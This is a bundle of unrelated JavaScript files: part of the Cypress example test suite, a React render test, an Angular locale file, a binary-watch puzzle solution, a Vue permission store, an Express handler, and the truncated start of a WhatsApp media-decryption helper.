for a specific resource to resolve // is covered within the cy.route() test below }) context('Network Requests', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/network-requests') }) // Manage AJAX / XHR requests in your app it('cy.server() - control behavior of network requests and responses', function () { // https://on.cypress.io/server cy.server().should(function (server) { // the default options on server // you can override any of these options expect(server.delay).to.eq(0) expect(server.method).to.eq('GET') expect(server.status).to.eq(200) expect(server.headers).to.be.null expect(server.response).to.be.null expect(server.onRequest).to.be.undefined expect(server.onResponse).to.be.undefined expect(server.onAbort).to.be.undefined // These options control the server behavior // affecting all requests // pass false to disable existing route stubs expect(server.enable).to.be.true // forces requests that don't match your routes to 404 expect(server.force404).to.be.false // whitelists requests from ever being logged or stubbed expect(server.whitelist).to.be.a('function') }) cy.server({ method: 'POST', delay: 1000, status: 422, response: {}, }) // any route commands will now inherit the above options // from the server. anything we pass specifically // to route will override the defaults though. }) it('cy.request() - make an XHR request', function () { // https://on.cypress.io/request cy.request('https://jsonplaceholder.typicode.com/comments').should( function (response) { expect(response.status).to.eq(200) expect(response.body).to.have.length(500) expect(response).to.have.property('headers') expect(response).to.have.property('duration') }, ) }) it('cy.route() - route responses to matching requests', function () { let message = "whoa, this comment doesn't exist" cy.server() // **** GET comments route **** // https://on.cypress.io/route cy.route(/comments\/1/).as('getComment') // we have code that fetches a comment when // the button is clicked in scripts.js cy.get('.network-btn').click() // **** Wait **** // Wait for a specific resource to resolve // continuing to the next command // https://on.cypress.io/wait cy.wait('@getComment').its('status').should('eq', 200) // **** POST comment route **** // Specify the route to listen to method 'POST' cy.route('POST', '/comments').as('postComment') // we have code that posts a comment when // the button is clicked in scripts.js cy.get('.network-post').click() cy.wait('@postComment') // get the route cy.get('@postComment').then(function (xhr) { expect(xhr.requestBody).to.include('email') expect(xhr.requestHeaders).to.have.property('Content-Type') expect(xhr.responseBody).to.have.property( 'name', 'Using POST in cy.route()', ) }) // **** Stubbed PUT comment route **** cy.route({ method: 'PUT', url: /comments\/\d+/, status: 404, response: { error: message }, delay: 500, }).as('putComment') // we have code that puts a comment when // the button is clicked in scripts.js cy.get('.network-put').click() cy.wait('@putComment') // our 404 statusCode logic in scripts.js executed cy.get('.network-put-comment').should('contain', message) }) }) context('Files', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/files') }) it('cy.fixture() - load a fixture', function () { // Instead of writing a response inline you can // connect a response with a fixture file // located in fixtures folder. cy.server() // https://on.cypress.io/fixture cy.fixture('example.json').as('comment') cy.route(/comments/, '@comment').as('getComment') // we have code that gets a comment when // the button is clicked in scripts.js cy.get('.fixture-btn').click() cy.wait('@getComment') .its('responseBody') .should('have.property', 'name') .and('include', 'Using fixtures to represent data') // you can also just write the fixture in the route cy.route(/comments/, 'fixture:example.json').as('getComment') // we have code that gets a comment when // the button is clicked in scripts.js cy.get('.fixture-btn').click() cy.wait('@getComment') .its('responseBody') .should('have.property', 'name') .and('include', 'Using fixtures to represent data') // or write fx to represent fixture // by default it assumes it's .json cy.route(/comments/, 'fx:example').as('getComment') // we have code that gets a comment when // the button is clicked in scripts.js cy.get('.fixture-btn').click() cy.wait('@getComment') .its('responseBody') .should('have.property', 'name') .and('include', 'Using fixtures to represent data') }) it('cy.readFile() - read a files contents', function () { // You can read a file and yield its contents // The filePath is relative to your project's root. // https://on.cypress.io/readfile cy.readFile('cypress.json').then(function (json) { expect(json).to.be.an('object') }) }) it('cy.writeFile() - write to a file', function () { // You can write to a file with the specified contents // Use a response from a request to automatically // generate a fixture file for use later cy.request('https://jsonplaceholder.typicode.com/users').then(function ( response, ) { // https://on.cypress.io/writefile cy.writeFile('cypress/fixtures/users.json', response.body) }) cy.fixture('users').should(function (users) { expect(users[0].name).to.exist }) // JavaScript arrays and objects are stringified and formatted into text. cy.writeFile('cypress/fixtures/profile.json', { id: 8739, name: 'Jane', email: 'jane@example.com', }) cy.fixture('profile').should(function (profile) { expect(profile.name).to.eq('Jane') }) }) }) context('Local Storage', function () { beforeEach(function () { cy.visit('https://example.cypress.io/commands/local-storage') }) // Although local storage is automatically cleared // to maintain a clean state in between tests // sometimes we need to clear the local storage manually it('cy.clearLocalStorage() - clear all data in local storage', function () { // https://on.cypress.io/clearlocalstorage cy.get('.ls-btn') .click() .should(function () { expect(localStorage.getItem('prop1')).to.eq('red') expect(localStorage.getItem('prop2')).to.eq('blue') expect(localStorage.getItem('prop3')).to.eq('magenta') }) // clearLocalStorage() yields the localStorage object cy.clearLocalStorage().should(function (ls) { expect(ls.getItem('prop1')).to.be.null expect(ls.getItem('prop2')).to.be.null expect(ls.getItem('prop3')).to.be.null }) // **** Clear key matching string in Local Storage **** cy.get('.ls-btn') .click() .should(function () { expect(localStorage.getItem('prop1')).to.eq('red') expect(localStorage.getItem('prop2')).to.eq('blue') expect(localStorage.getItem('prop3')).to.eq('magenta') }) cy.clearLocalStorage('prop1').should(function (ls) { expect(ls.getItem('prop1')).to.be.null expect(ls.getItem('prop2')).to.eq('blue') expect(ls.getItem('prop3')).to.eq('magenta') }) // **** Clear key's matching regex in Local Storage **** cy.get('.ls-btn') .click() .should(function () { expect(localStorage.getItem('prop1')).to.eq('red') expect(localStorage.getItem('prop2')).to.eq('blue') expect(localStorage.getItem('prop3')).to.eq('magenta') }) cy.clearLocalStorage(/prop1|2/).should(function (ls) { expect(ls.getItem('prop1')).to.be.null expect(ls.getItem('prop2')).to.be.null expect(ls.getItem('prop3')).to.eq('magenta') }) }) }) context('Cookies', function () { beforeEach(function () { Cypress.Cookies.debug(true) cy.visit('https://example.cypress.io/commands/cookies') // clear cookies again after visiting to remove // any 3rd party cookies picked up such as cloudflare cy.clearCookies() }) it('cy.getCookie() - get a browser cookie', function () { // https://on.cypress.io/getcookie cy.get('#getCookie .set-a-cookie').click() // cy.getCookie() yields a cookie object cy.getCookie('token').should('have.property', 'value', '123ABC') }) it('cy.getCookies() - get browser cookies', function () { // https://on.cypress.io/getcookies cy.getCookies().should('be.empty') cy.get('#getCookies .set-a-cookie').click() // cy.getCookies() yields an array of cookies cy.getCookies() .should('have.length', 1) .should(function (cookies) { // each cookie has these properties expect(cookies[0]).to.have.property('name', 'token') expect(cookies[0]).to.have.property('value', '123ABC') expect(cookies[0]).to.have.property('httpOnly', false) expect(cookies[0]).to.have.property('secure', false) expect(cookies[0]).to.have.property('domain') expect(cookies[0]).to.have.property('path') }) }) it('cy.setCookie() - set a browser cookie', function () { // https://on.cypress.io/setcookie cy.getCookies().should('be.empty') cy.setCookie('foo', 'bar') // cy.getCookie() yields a cookie object cy.getCookie('foo').should('have.property', 'value', 'bar') }) it('cy.clearCookie() - clear a browser cookie', function () { // https://on.cypress.io/clearcookie cy.getCookie('token').should('be.null') cy.get('#clearCookie .set-a-cookie').click() cy.getCookie('token').should('have.property', 'value', '123ABC') // cy.clearCookies() yields null cy.clearCookie('token').should('be.null') cy.getCookie('token').should('be.null') }) it('cy.clearCookies() - clear browser cookies', function () { // https://on.cypress.io/clearcookies cy.getCookies().should('be.empty') cy.get('#clearCookies .set-a-cookie').click() cy.getCookies().should('have.length', 1) // cy.clearCookies() yields null cy.clearCookies() cy.getCookies().should('be.empty') }) }) context('Spies, Stubs, and Clock', function () { it('cy.spy() - wrap a method in a spy', function () { // https://on.cypress.io/spy cy.visit('https://example.cypress.io/commands/spies-stubs-clocks') let obj = { foo() {}, } let spy = cy.spy(obj, 'foo').as('anyArgs') obj.foo() expect(spy).to.be.called }) it('cy.stub() - create a stub and/or replace a function with a stub', function () { // https://on.cypress.io/stub cy.visit('https://example.cypress.io/commands/spies-stubs-clocks') let obj = { foo() {}, } let stub = cy.stub(obj, 'foo').as('foo') obj.foo('foo', 'bar') expect(stub).to.be.called }) it('cy.clock() - control time in the browser', function () { // create the date in UTC so its always the same // no matter what local timezone the browser is running in let now = new Date(Date.UTC(2017, 2, 14)).getTime() // https://on.cypress.io/clock cy.clock(now) cy.visit('https://example.cypress.io/commands/spies-stubs-clocks') cy.get('#clock-div').click().should('have.text', '1489449600') }) it('cy.tick() - move time in the browser', function () { // create the date in UTC so its always the same // no matter what local timezone the browser is running in let now = new Date(Date.UTC(2017, 2, 14)).getTime() // https://on.cypress.io/tick cy.clock(now) cy.visit('https://example.cypress.io/commands/spies-stubs-clocks') cy.get('#tick-div').click().should('have.text', '1489449600') cy.tick(10000) // 10 seconds passed cy.get('#tick-div').click().should('have.text', '1489449610') }) }) context('Utilities', function () { beforeEach(function () { cy.visit('https://example.cypress.io/utilities') }) it('Cypress._.method() - call a lodash method', function () { // use the _.chain, _.map, _.take, and _.value functions // https://on.cypress.io/_ cy.request('https://jsonplaceholder.typicode.com/users').then(function ( response, ) { let ids = Cypress._.chain(response.body).map('id').take(3).value() expect(ids).to.deep.eq([1, 2, 3]) }) }) it('Cypress.$(selector) - call a jQuery method', function () { // https://on.cypress.io/$ let $li = Cypress.$('.utility-jquery li:first') cy.wrap($li) .should('not.have.class', 'active') .click() .should('have.class', 'active') }) it('Cypress.moment() - format or parse dates using a moment method', function () { // use moment's format function // https://on.cypress.io/cypress-moment let time = Cypress.moment() .utc('2014-04-25T19:38:53.196Z') .format('h:mm A') cy.get('.utility-moment') .contains('3:38 PM') .should('have.class', 'badge') }) it('Cypress.Blob.method() - blob utilities and base64 string conversion', function () { cy.get('.utility-blob').then(function ($div) { // https://on.cypress.io/blob // https://github.com/nolanlawson/blob-util#imgSrcToDataURL // get the dataUrl string for the javascript-logo return Cypress.Blob.imgSrcToDataURL( 'https://example.cypress.io/assets/img/javascript-logo.png', undefined, 'anonymous', ).then(function (dataUrl) { // create an <img> element and set its src to the dataUrl let img = Cypress.$('<img />', { src: dataUrl }) // need to explicitly return cy here since we are initially returning // the Cypress.Blob.imgSrcToDataURL promise to our test // append the image $div.append(img) cy.get('.utility-blob img') .click() .should('have.attr', 'src', dataUrl) }) }) }) it('new Cypress.Promise(function) - instantiate a bluebird promise', function () { // https://on.cypress.io/promise let waited = false function waitOneSecond() { // return a promise that resolves after 1 second return new Cypress.Promise(function (resolve, reject) { setTimeout(function () { // set waited to true waited = true // resolve with 'foo' string resolve('foo') }, 1000) }) } cy.then(function () { // return a promise to cy.then() that // is awaited until it resolves return waitOneSecond().then(function (str) { expect(str).to.eq('foo') expect(waited).to.be.true }) }) }) }) context('Cypress.config()', function () { beforeEach(function () { cy.visit('https://example.cypress.io/cypress-api/config') }) it('Cypress.config() - get and set configuration options', function () { // https://on.cypress.io/config let myConfig = Cypress.config() expect(myConfig).to.have.property('animationDistanceThreshold', 5) expect(myConfig).to.have.property('baseUrl', null) expect(myConfig).to.have.property('defaultCommandTimeout', 4000) expect(myConfig).to.have.property('requestTimeout', 5000) expect(myConfig).to.have.property('responseTimeout', 30000) expect(myConfig).to.have.property('viewportHeight', 660) expect(myConfig).to.have.property('viewportWidth', 1000) expect(myConfig).to.have.property('pageLoadTimeout', 60000) expect(myConfig).to.have.property('waitForAnimations', true) expect(Cypress.config('pageLoadTimeout')).to.eq(60000) // this will change the config for the rest of your tests! Cypress.config('pageLoadTimeout', 20000) expect(Cypress.config('pageLoadTimeout')).to.eq(20000) Cypress.config('pageLoadTimeout', 60000) }) }) context('Cypress.env()', function () { beforeEach(function () { cy.visit('https://example.cypress.io/cypress-api/env') }) // We can set environment variables for highly dynamic values // https://on.cypress.io/environment-variables it('Cypress.env() - get environment variables', function () { // https://on.cypress.io/env // set multiple environment variables Cypress.env({ host: 'veronica.dev.local', api_server: 'http://localhost:8888/v1/', }) // get environment variable expect(Cypress.env('host')).to.eq('veronica.dev.local') // set environment variable Cypress.env('api_server', 'http://localhost:8888/v2/') expect(Cypress.env('api_server')).to.eq('http://localhost:8888/v2/') // get all environment variable expect(Cypress.env()).to.have.property('host', 'veronica.dev.local') expect(Cypress.env()).to.have.property( 'api_server', 'http://localhost:8888/v2/', ) }) }) context('Cypress.Cookies', function () { beforeEach(function () { cy.visit('https://example.cypress.io/cypress-api/cookies') }) // https://on.cypress.io/cookies it('Cypress.Cookies.debug() - enable or disable debugging', function () { Cypress.Cookies.debug(true) // Cypress will now log in the console when // cookies are set or cleared cy.setCookie('fakeCookie', '123ABC') cy.clearCookie('fakeCookie') cy.setCookie('fakeCookie', '123ABC') cy.clearCookie('fakeCookie') cy.setCookie('fakeCookie', '123ABC') }) it('Cypress.Cookies.preserveOnce() - preserve cookies by key', function () { // normally cookies are reset after each test cy.getCookie('fakeCookie').should('not.be.ok') // preserving a cookie will not clear it when // the next test starts cy.setCookie('lastCookie', '789XYZ') Cypress.Cookies.preserveOnce('lastCookie') }) it('Cypress.Cookies.defaults() - set defaults for all cookies', function () { // now any cookie with the name 'session_id' will // not be cleared before each new test runs Cypress.Cookies.defaults({ whitelist: 'session_id', }) }) }) context('Cypress.dom', function () { beforeEach(function () { cy.visit('https://example.cypress.io/cypress-api/dom') }) // https://on.cypress.io/dom it('Cypress.dom.isHidden() - determine if a DOM element is hidden', function () { let hiddenP = Cypress.$('.dom-p p.hidden').get(0) let visibleP = Cypress.$('.dom-p p.visible').get(0) // our first paragraph has css class 'hidden' expect(Cypress.dom.isHidden(hiddenP)).to.be.true expect(Cypress.dom.isHidden(visibleP)).to.be.false }) }) context('Cypress.Server', function () { beforeEach(function () { cy.visit('https://example.cypress.io/cypress-api/server') }) // Permanently override server options for // all instances of cy.server() // https://on.cypress.io/cypress-server it('Cypress.Server.defaults() - change default config of server', function () { Cypress.Server.defaults({ delay: 0, force404: false, whitelist(xhr) { // handle custom logic for whitelisting }, }) }) }) })
import React from 'react'; import { mount } from 'enzyme'; import Row from '.'; describe('Row', () => { it('renders without crashing', () => { mount(<table><tbody><Row><td>Example</td></Row></tbody></table>); }); });
/** * @license * Copyright Google LLC All Rights Reserved. * * Use of this source code is governed by an MIT-style license that can be * found in the LICENSE file at https://angular.io/license */ // THIS CODE IS GENERATED - DO NOT MODIFY // See angular/tools/gulp-tasks/cldr/extract.js (function(global) { global.ng = global.ng || {}; global.ng.common = global.ng.common || {}; global.ng.common.locales = global.ng.common.locales || {}; const u = undefined; function plural(n) { if (n === Math.floor(n) && n >= 0 && n <= 1 || n === Math.floor(n) && n >= 11 && n <= 99) return 1; return 5; } global.ng.common.locales['tzm'] = [ 'tzm', [['Zdat azal', 'Ḍeffir aza'], u, u], u, [ ['A', 'A', 'A', 'A', 'A', 'A', 'A'], ['Asa', 'Ayn', 'Asn', 'Akr', 'Akw', 'Asm', 'Asḍ'], ['Asamas', 'Aynas', 'Asinas', 'Akras', 'Akwas', 'Asimwas', 'Asiḍyas'], ['Asa', 'Ayn', 'Asn', 'Akr', 'Akw', 'Asm', 'Asḍ'] ], u, [ ['Y', 'Y', 'M', 'I', 'M', 'Y', 'Y', 'Ɣ', 'C', 'K', 'N', 'D'], ['Yen', 'Yeb', 'Mar', 'Ibr', 'May', 'Yun', 'Yul', 'Ɣuc', 'Cut', 'Kṭu', 'Nwa', 'Duj'], [ 'Yennayer', 'Yebrayer', 'Mars', 'Ibrir', 'Mayyu', 'Yunyu', 'Yulyuz', 'Ɣuct', 'Cutanbir', 'Kṭuber', 'Nwanbir', 'Dujanbir' ] ], u, [['ZƐ', 'ḌƐ'], u, ['Zdat Ɛisa (TAƔ)', 'Ḍeffir Ɛisa (TAƔ)']], 1, [6, 0], ['dd/MM/y', 'd MMM y', 'd MMMM y', 'EEEE, d MMMM y'], ['HH:mm', 'HH:mm:ss', 'HH:mm:ss z', 'HH:mm:ss zzzz'], ['{1} {0}', u, u, u], [',', ' ', ';', '%', '+', '-', 'E', '×', '‰', '∞', 'NaN', ':'], ['#,##0.###', '#,##0%', '#,##0.00 ¤', '#E0'], 'MAD', 'MAD', 'Derhem Umeṛṛuki', {'JPY': ['JP¥', '¥'], 'USD': ['US$', '$']}, 'ltr', plural, [] ]; })(typeof globalThis !== 'undefined' && globalThis || typeof global !== 'undefined' && global || typeof window !== 'undefined' && window);
/* A binary watch has 4 LEDs on the top which represent the hours (0-11), and the 6 LEDs on the bottom represent the minutes (0-59). Each LED represents a zero or one, with the least significant bit on the right. For example, the above binary watch reads "3:25". Given a non-negative integer n which represents the number of LEDs that are currently on, return all possible times the watch could represent. Example: Input: n = 1 Return: ["1:00", "2:00", "4:00", "8:00", "0:01", "0:02", "0:04", "0:08", "0:16", "0:32"] Note: The order of output does not matter. The hour must not contain a leading zero, for example "01:00" is not valid, it should be "1:00". The minute must be consist of two digits and may contain a leading zero, for example "10:2" is not valid, it should be "10:02". */ const pop = n => n ? ( 1 & n ) + pop( n >> 1 ) : 0 const hours = Array.from( { length: 4 }, _ => [] ) const mins = Array.from( { length: 6 }, _ => [] ) for ( let i = 0; i < 12; i++ ) hours[ pop( i ) ].push( i ) for ( let i = 0; i < 60; i++ ) mins[ pop( i ) ].push( String( i ).padStart( 2, 0 ) ) var readBinaryWatch = function(num) { const times = [] for ( let i = 0; i <= num; i++ ) { let h = hours[ i ] let m = mins[ num - i ] if ( h && m ) { h.forEach( hh => { m.forEach( mm => { times.push( hh + ':' + mm ) }) }) } } return times }
import { asyncRouterMap, constantRouterMap } from 'src/router' import { fetchAll } from 'api/admin/menu/index'; /** * 通过authority判断是否与当前用户权限匹配 * @param menus * @param route */ function hasPermission(menus, route) { if (route.authority) { if (menus[route.authority] !== undefined) { return menus[route.authority]; } else { return false; } } else { return true } } /** * 递归过滤异步路由表,返回符合用户角色权限的路由表 * @param asyncRouterMap * @param roles */ function filterAsyncRouter(asyncRouterMap, menus, menuDatas) { const accessedRouters = asyncRouterMap.filter(route => { if (hasPermission(menus, route)) { route.name = menuDatas[route.authority].title; route.icon = menuDatas[route.authority].icon; if (route.children && route.children.length) { route.children = filterAsyncRouter(route.children, menus, menuDatas); } return true } return false }) return accessedRouters } const permission = { state: { routers: constantRouterMap, addRouters: [] }, mutations: { SET_ROUTERS: (state, routers) => { state.addRouters = routers state.routers = constantRouterMap.concat(routers) } }, actions: { GenerateRoutes({ commit }, menus) { return new Promise(resolve => { fetchAll().then(data => { const menuDatas = {}; for (let i = 0; i < data.length; i++) { menuDatas[data[i].code] = data[i]; } const accessedRouters = filterAsyncRouter(asyncRouterMap, menus, menuDatas); commit('SET_ROUTERS', accessedRouters); resolve(); }); }) } } }; export default permission;
const statusCodes = require("./../constants/statusCodes"); const methodNotAllowed = (req, res) => { res.status(statusCodes.METHOD_NOT_ALLOWED).send({ success: false, message: 'Method Not Allowed', }); }; module.exports = { methodNotAllowed }
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.magix = exports.mediaTypes = exports.timeout = exports.makeOptions = void 0; /* NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM mMMMMMMMMMNNNmmNNNMMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM mmNMMNMMMMNNNNNmmmddhdddNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM mddNMMNy:/odNmmddmmNNmdhhddmNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NmmdNMNd:--+dNmmddhhddmmhsyhhmdmmNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NmNmdNmy:.-oyNmmmhmdhho+sososyhhhddNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NmmNdh+-`.:oyNNdmmdmmdo-://oysssyhhhdmNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Nmmmoyyyo+osdNmdmmddNNhs+/::/+osyssydyhdNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NNmhsymMMNmmmmdmdNNddNmsso+++////ossssyyhdmNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM mhhhmNNMNNNhssshhmmddmmssyooooso/::+oysshhhhmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM mmdhdddNNdyoosyhdmddmmmsoooooyysyys/::/oyyhhhyMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM mdddhddmhsooshdmdmdhhyyyysso/ooo+syhhs/-/+shyhMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM dyyhdmd+ososhdmdmyyhhhhhhhyo++o/+///+ohhso++sdMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM dhdmNNdsossyhmdmsydhssssyhhs/++o/o+//:++yhhy+/hNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM mdmNNNNmhysshddyshdyyy/oss+s::/:://++///++++/::hmNNNNNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NNMNNNmmNNdymNNhshdshdyhdysh+sy+-:++osssosss++yNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NmNNNmdNNmNmmmNmyyddyyhdhydyohys/-oo+osssysyyohNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM mmNNNhdNmmNNmNMMNhyyhhhdhyyhmmyh+-/s+sysssyyhyydNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM mNMMMhdNdmMNMMMMMNNmdhdddmhdmmNho/-osoyyo++oyddhhNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NMMMNmhNdNMNMNMMNmNNNmmmdyoohmhoyo::hsooo++oooydhymMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMNNNhmNNMmmNMNNmmmmdmmdyhhoyddddoo++yoyysooossyhsmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMNNNmmNNNmdNdNmmddhhhdNNhsmNssdooo/dso++osyyysoymMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMNNNNmNNNNNmddmmNhshNmmmNmNMdhNsh/ohho++/:++MMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MNNNMMNNNNmmmhhhhdyosdNmdmMMhoNmhdmys+ooo++/+MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM mmNNNMMNNNNmddmdoodmMMNmmNNhssdmNMMMNdNd/osomMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NmNdhMNmNNMNmdNddohmMMNNNmdmdddNMMMMMMMMmMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NmNhmMmmmmNNmdNyoNMNmNmdhyyyhdhoyNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NmdmMmmddddNmmdys+hmMMMmmhysssyy++dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NmdNMMdmdddmmNNyshmNNNNNNNdhhs+yy//dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NmNMMMdmdddmmMNysdmNNMMMNhhNdhs+y+/:mMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM mmNMMNhmmddNNNMdyydmMMMNdyshNhyoss+:/MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NmNMMddmmmmNMNMNdsymNNmdhhdNMNdhsss+:yMMMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMdhmmmmmNMNNMmshNMMMmmMMMMMmNdyo+//NMMMMMMMMMMMMMMMhNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMmhmmmmmmNMMNNMyshdhhhyhNMMMMMMdhso+sMMMMMMMMMMMMMMMhmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMmdmmmmmmmNMMMmNm+ys++oyyNMMMMMMNmmyyoyNMMMMMMMMMMMMMddMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NmmmmmmmmmmmNMNNmNNyyo+/oohNMMMMMMMMdhhsshmMMMMMMMMMMMyNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM mmNNNNNNmmmmNMMNmmddNmmdhhdmMMMMMMMMMNddhssshmmNNNmmdhdMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM NNNNNNNNNNNNNNNNmNNNNMMMMMNomMMMMMMMMMNNmdhhyyyyyyyhdmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Nd+oNMMMMMMMmodo++++++++++m..yNMMMMMNo+mNMMmhssshdNMMNhNMMMMMMMMMMMddMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MN+ /NMMMMMm: d` -ssssss+`d. `+mMMMMN. dNm+:+syso//hNN--yNMMMMMMMd+`yMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMN+ /NMMMm: oM` +NMMMMMNdN. /`.yNMMN. dh.omMMMMMNy.oM- `:hNMMMm+. yMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMN/ /NMm: oNy` :sssmMMMMN. dh-`/mMN. d-/NMMMMMMMMy`m- y/`/dmo..o: yMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMN/ /m: +NNy. /yyyNMMMMN. dNNo`.yN- d.oNMMMMMMMMd d- mNh-`.`+mN/ yMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMN/ . +NMMN- oNMMMMMNdN. dMMMd:`/. ds.dNMMMMMMm::M- dMMNy/dMMN/ yMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMN/ +NMMMN- /yyyyyys d. dMMMMNo` dNy-+ymmmho-+NN- dMMMMMMMMN/ yMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMNyNMMMMN+::::::::::m+/mMMMMMMd: dMMNho///+ymMMN+/mMMMMMMMMNs/hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMNsmMMMMMMMMMMMMMMNNNNMMNNNMMNNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMMMMMMMMMMMMMMNMMNMNMMMNMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMMNMNMMMNMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNNNMMNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM */ var crypto = require("crypto"); var hkdf = require("futoin-hkdf"); var atob = require("atob"); var makeOptions = function (useragentOverride) { return ({ responseType: 'arraybuffer', headers: { 'User-Agent': processUA(useragentOverride), DNT: 1, 'Upgrade-Insecure-Requests': 1, origin: 'https://web.whatsapp.com/', referer: 'https://web.whatsapp.com/' } }); }; exports.makeOptions = makeOptions; var timeout = function (ms) { return new Promise(function (res) { return setTimeout(res, ms); }); }; exports.timeout = timeout; exports.mediaTypes = { IMAGE: 'Image', VIDEO: 'Video', AUDIO: 'Audio', PTT: 'Audio', DOCUMENT: 'Document', STICKER: 'Image' }; var processUA = function (userAgent) { var ua = userAgent || 'WhatsApp/2.2108.8 Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36'; if (!ua.includes('WhatsApp')) ua = 'WhatsApp/2.2108.8 ' + ua; return ua; }; var magix = function (fileData, mediaKeyBase64, mediaType, expectedSize) { var encodedHex = fileData.toString('hex'); var encodedBytes = hexToBytes(encodedHex); var mediaKeyBytes = base64ToBytes(mediaKeyBase64); var info = "WhatsApp " + exports.mediaTypes[mediaType.toUpperCase()] + " Keys"; var hash = 'sha256'; var salt = new Uint8Array(32); var expandedSize = 112; var mediaKeyExpanded = hkdf(mediaKeyBytes, expandedSize, { salt: salt, info: info, hash: hash }); var 